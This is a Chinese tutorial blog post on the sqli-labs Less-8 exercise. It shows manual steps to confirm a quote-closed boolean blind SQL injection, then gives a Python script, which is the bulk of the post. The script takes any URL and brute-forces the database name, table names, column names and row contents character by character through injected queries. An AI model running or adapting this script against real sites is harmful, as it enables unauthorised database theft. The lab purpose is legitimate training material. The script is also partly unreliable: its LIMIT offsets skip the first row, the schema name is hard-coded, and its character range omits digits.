基于python的布尔盲注爆破脚本(sqli-libs第八关)

写这个脚本的原因是因为布尔爆破步骤的繁琐,因此写下这个半自动化脚本来提升效率,只需输入url和标志词便可开始爆破

下面结合sqli-libs第八关来详细说明:

这一关是布尔盲注,布尔盲注用于页面没有回显的情况下,但是心细的同学会发现当我们注入的sql语句正确的时候页面会显示,当出现错误的时候页面是完全不显示的,这个时候也就是出现了两种不同的情况,我们便可以通过这两种情况去猜数据,因此我们也就需要用爆破来解决问题了,本文通过python脚本的方式来爆破,脚本源码放在文章末尾。当然也可以用sqlmap,burpsuite来爆破都是可以的,但是我们不能仅仅依赖别人写好的脚本,还是得自己研究一下布尔盲注的原理的。

  • 老规矩,第一步先判断数据类型

  • and 1=1 和 and1=2来判断

基于python的布尔盲注爆破脚本(sqli-libs第八关)_第1张图片

 

  • 我们发现都是正常的,于是可以判断是字符型注入了

  • 下一步开始判断闭合方式,输入单引号和双引号

基于python的布尔盲注爆破脚本(sqli-libs第八关)_第2张图片

 

  • 最后判断为单引号闭合,具体判断方法参考往期

  • 下一步判断查询列数

基于python的布尔盲注爆破脚本(sqli-libs第八关)_第3张图片

 

  • 依旧是3列

  • 下一步,判断回显位

基于python的布尔盲注爆破脚本(sqli-libs第八关)_第4张图片

 

  • 反常的很,我们发现数据并没有回显,这个时候我们就要想起来盲注了

  • 我们输个错误的sql语句试一下看看是不是用布尔盲注可以实现

基于python的布尔盲注爆破脚本(sqli-libs第八关)_第5张图片

 

  • 我们发现页面完全没有显示了,说明布尔注入可以一试

  • 下一步,我们上脚本来爆破

#布尔盲注脚本
#为了更加方便的进行布尔盲注,而且省略大部分重复且繁琐的步骤,故写下此脚本
#作者:@hengheng
​
import requests
​
base_url=input('请输入url地址(输入的时候自己加上闭合方式):')
flag_text=input('请输入可判断的标志词:')
​
'''
    爆破思路
1.爆破数据库名的长度
2.爆破数据库名
3.爆破该数据库名下的表的个数
4.爆破该数据库下每张表的长度
5.爆破数据库下每张表的名称
6.爆破某张表下的列的个数
7.爆破某张表下的每个字段的长度
8.爆破每张表下的每个字段的名称
9.爆破每个字段下的每条信息
'''
#全局变量
database_length=0
database_name=''
table_counts=0
table_length=0
table_name=''
column_counts=0
column_length=0
column_name=''
information_counts=0
information_length=0
information_name=''
#获取数据库长度
for i in range(1,50):
    payload = f' and length(database())={i} --+'
    new_url=base_url+payload
    if flag_text in requests.get(new_url).text:
        database_length=i
        break
#获取数据库名称
for i in range(1,database_length+1):
    for m in range(65,123):
        payload=f' and substr(database(),{i},1)=%27{chr(m)}%27 --+'
        new_url=base_url+payload
        if flag_text in requests.get(new_url).text:
            database_name=database_name+chr(m)
            break
#获取数据库下的表的数量
for i in range(1,100):
    payload = f' and (select count(table_name) from information_schema.tables where table_schema=%27security%27)= {i} --+'
    new_url=base_url+payload
    if flag_text in requests.get(new_url).text:
        table_counts=i
        break
# 获取所有的表的长度和名称
for i in range(1,table_counts+1):
    table_name=''
    for m in range(1,50):
        payload=f' and length((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1))={m} --+'
        new_url=base_url+payload
        if flag_text in requests.get(new_url).text:
            table_length=m
            break
    for m in range(1,table_length+1):
        for n in range(65,123):
            payload=f' and substr((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1),{m},1)=%27{chr(n)}%27 --+'
            new_url=base_url+payload
            if flag_text in requests.get(new_url).text:
                table_name=table_name+chr(n)
                break
    print(f'表{i}的名称为:'+table_name.lower())
    #在这里知道表名了,直接获取获取表下面的列的数量,长度,以及名称
    for a in range(1,100):
        payload=f' and (select count(column_name) from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27)={a} --+'
        new_url=base_url+payload
        if flag_text in requests.get(new_url).text:
            column_counts=a
            break
    #获取各个列的长度以及名称
    for b in range(1,column_counts+1):
        column_name=''
        for c in range(1,50):
            payload = f' and length((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1))={c} --+'
            new_url = base_url + payload
            if flag_text in requests.get(new_url).text:
                column_length = c
                break
        #知道了列的长度然后获取名称
        for m in range(1, column_length + 1):
            for n in range(65, 123):
                payload = f' and substr((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1),{m},1)=%27{chr(n)}%27 --+'
                new_url = base_url + payload
                if flag_text in requests.get(new_url).text:
                    column_name = column_name + chr(n)
                    break
        #此时知道了当前列名
        print(f'列{b}的名称为:'+column_name.lower())
        # 在这里知道列名了,直接获取获取列下面的数据的数量,长度,以及名称
        for x in range(0, 100):
            payload = f' and (select count({column_name.lower()}) from {table_name.lower()})={x} --+'
            new_url = base_url + payload
            if flag_text in requests.get(new_url).text:
                information_counts = x
                break
        # 获取各个数据的长度以及名称
        for y in range(1, information_counts + 1):
            information_name = ''
            for z in range(1, 50):
                payload = f' and length((select {column_name.lower()} from {table_name.lower()} limit {y},1))={z} --+'
                new_url = base_url + payload
                if flag_text in requests.get(new_url).text:
                    information_length = z
                    break
            # 知道了列的长度然后获取名称
            for j in range(1, information_length + 1):
                for k in range(65, 123):
                    payload = f' and substr((select {column_name.lower()} from {table_name.lower()} limit {y},1),{j},1)=%27{chr(k)}%27 --+'
                    new_url = base_url + payload
                    if flag_text in requests.get(new_url).text:
                        information_name = information_name + chr(k)
                        break
            # 此时知道了当前列名
            print(f'数据{y}的名称为:' + information_name.lower())
​
print('数据库名称为:   '+database_name)
print('该数据库下表的个数:'+str(table_counts))

  • 最终得到所有数据

基于python的布尔盲注爆破脚本(sqli-libs第八关)_第6张图片

 

 

你可能感兴趣的:(python,数据库,sql,web安全)